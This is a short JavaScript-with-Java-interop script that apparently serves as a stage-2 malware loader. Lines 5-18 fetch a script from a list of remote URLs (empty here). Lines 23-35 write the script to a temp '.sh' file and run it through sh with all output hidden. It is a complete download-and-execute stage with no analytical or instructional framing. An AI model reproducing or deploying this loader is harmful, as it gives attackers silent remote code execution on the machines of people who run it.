1. var urls = [
  2. ];
  3.  
  4. var script = null;
  5. for (var i = 0; i < urls.length && script === null; i++) {
  6. try {
  7. var is = new java.net.URL(urls[i]).openStream();
  8. var ba = new java.io.ByteArrayOutputStream();
  9. var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
  10. var n = 0;
  11. while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
  12. is.close();
  13. var s = new java.lang.String(ba.toByteArray(), "UTF-8");
  14. s = s.replace(/\r/g, "");
  15. s = s.replace(/^\uFEFF/, "");
  16. if (s.length() > 0) script = s;
  17. } catch (e) { }
  18. }
  19.  
  20. if (script === null) {
  21. print("stage-2 fetch failed from all sources");
  22. } else {
  23. var f = java.io.File.createTempFile("flk", ".sh");
  24. var w = new java.io.FileWriter(f);
  25. w.write(script);
  26. w.close();
  27. var pb = new java.lang.ProcessBuilder();
  28. pb.command().add("sh");
  29. pb.command().add("-s");
  30. pb.command().add("--");
  31. pb.command().add("ALNK");
  32. pb.redirectInput(new java.io.File(f.getAbsolutePath()));
  33. pb.redirectOutput(new java.io.File("/dev/null"));
  34. pb.redirectErrorStream(true);
  35. pb.start();
  36. }